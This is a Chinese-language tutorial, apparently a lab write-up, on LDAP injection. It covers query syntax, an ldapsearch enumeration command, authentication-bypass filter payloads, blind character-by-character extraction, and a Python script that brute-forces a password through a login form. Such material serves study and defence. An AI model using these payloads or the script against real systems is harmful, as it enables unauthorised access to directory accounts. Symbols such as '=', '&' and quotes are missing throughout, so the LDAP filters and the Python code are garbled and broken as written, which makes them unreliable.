LDAP Injection

📅 发布时间:2026/7/12 18:52:29 👁️ 浏览次数:
LDAP Injection
注意仅作学习之用尊法守法切勿违法操作。一、介绍LDAP轻量级目录访问协议能使组织能够集中管理用户以及组和其他目录信息这些信息常用于网络和内部应用中的身份验证和授权目的。数据呈树状结构读性能强。例如Microsoft Active Directory这是一项面向 Windows 域网络的服务利用 LDAP 作为其底层协议套件的一部分来管理域资源。OpenLDAPLDAP 的开源实现广泛用于管理用户信息并支持跨多个平台的认证机制。类似文件夹一层一层便于检索当企业中有不同部门、多种多台设备、大量用户时通过LDAP将其进行分组整理划分一层一层下来便可以将资源权限划分清楚。二、搜索查询通过LDAP搜索查询可以定位检索目录中存储的信息。1. 搜索查询的基本语法(base DN) (scope) (filter) (attributes)解释base DN: 目录树中搜索的起点Scope它定义了从base DN开始搜索的深度可以是base仅搜索 base 的 DN、one搜索基底 DN 的直接子节点、sub搜索基础 DN 及其所有后代。Filter过滤条件(、、|、等符号)。Attributes要返回的信息。((objectClassuser)(|(cnJohn*)(cnJane*)))对象类中被归类为“user”且以“John”或“Jane”开头*为通配符。三、攻击1.LDAP 服务就像企业内网里的 “中央通讯录”平时藏在内部一般不会直接暴露在公网上。但它确实有两个标准 “门”389 端口默认端口用于未加密连接或者先明文再升级到 TLSStartTLS。636 端口加密端口全程用 SSL/TLS 加密更安全。如果管理员配置不当把这两个端口直接暴露到公网任何人都能通过工具去 “敲门”。其中最常用的工具就是 OpenLDAP 里的ldapsearch。ldapsearch -x -H ldap://MACHINE_IP:389 -b dcldap,dcthm (ouPeople)对管理员来说可以批量查询用户、组、权限信息。方便做自动化运维和目录同步。对攻击者来说可以用来探测 LDAP 服务是否存在、版本是什么。一旦发现注入漏洞就能用它批量枚举用户、提取敏感属性甚至构造恶意查询。2.注入原理当用户输入在被纳入 LDAP 查询前未得到适当净化时就会发生LDAP注入。该过程类似SQL注入。攻击方向认证绕过、未授权数据访问、读写数据。攻击流程①攻击者提交恶意输入。usernamef*password*②Web应用未对输入进行过滤导致恶意查询被拼接发送。((uidf*)(userPassword*))③LDAP服务器执行并返回结果。应用直接信任并使用了用户提交的数据没有对*、(、)等特殊字符进行转义。3.LDAP的利用((uid{userInput})(userPassword{passwordInput})) //下述注入技术将会从该式展开永真式注入*)(|(拼接后((uid*)(|()(userPasswordpwd)))uid可以为所有用户|要么要么passwordpwd满足一个即可。万用式注入**可以匹配任意字符序列。Blind LDAP Injection这种情况下攻击者不会直接接收注入有效载荷的输出。相反他们必须根据应用程序的行为推断信息。这种攻击更具挑战性但仍可用于从 LDAP 目录中提取敏感信息。猜测用户名第一个字符为a((uida*)(|()(userPasswordpwd))) 通过穷举所有可能的字符字符集确定第一个字符之后 猜测用户名第二个字符为b((uidab*)(|()(userPasswordpwd))) ... ... 一个一个猜下去观察系统输出。对于输入有时需要进行URL等编码以绕过过滤。4.自动化自动化脚本可以根据实际情况做修改import requests from bs4 import BeautifulSoup import string import time # 1. 修改目标URL url http://TARGET_IP/ldap_login.php # 2. 调整字符集 char_set string.ascii_letters string.digits ._ successful_chars headers {Content-Type: application/x-www-form-urlencoded} while True: found False for char in char_set: # 3. 调整Payload根据靶场语法修改 data { username: fuser*)((password{successful_chars}{char}*)), password: test } try: # 4. 增加超时和延迟 response requests.post(url, datadata, headersheaders, timeout10) time.sleep(0.3) # 5. 修改响应判断逻辑示例页面包含“验证通过” if 验证通过 in response.text: successful_chars char print(f找到字符{char} | 当前已拼{successful_chars}) found True break except Exception as e: print(f请求出错{e}) continue if not found: break print(f最终爆破结果{successful_chars})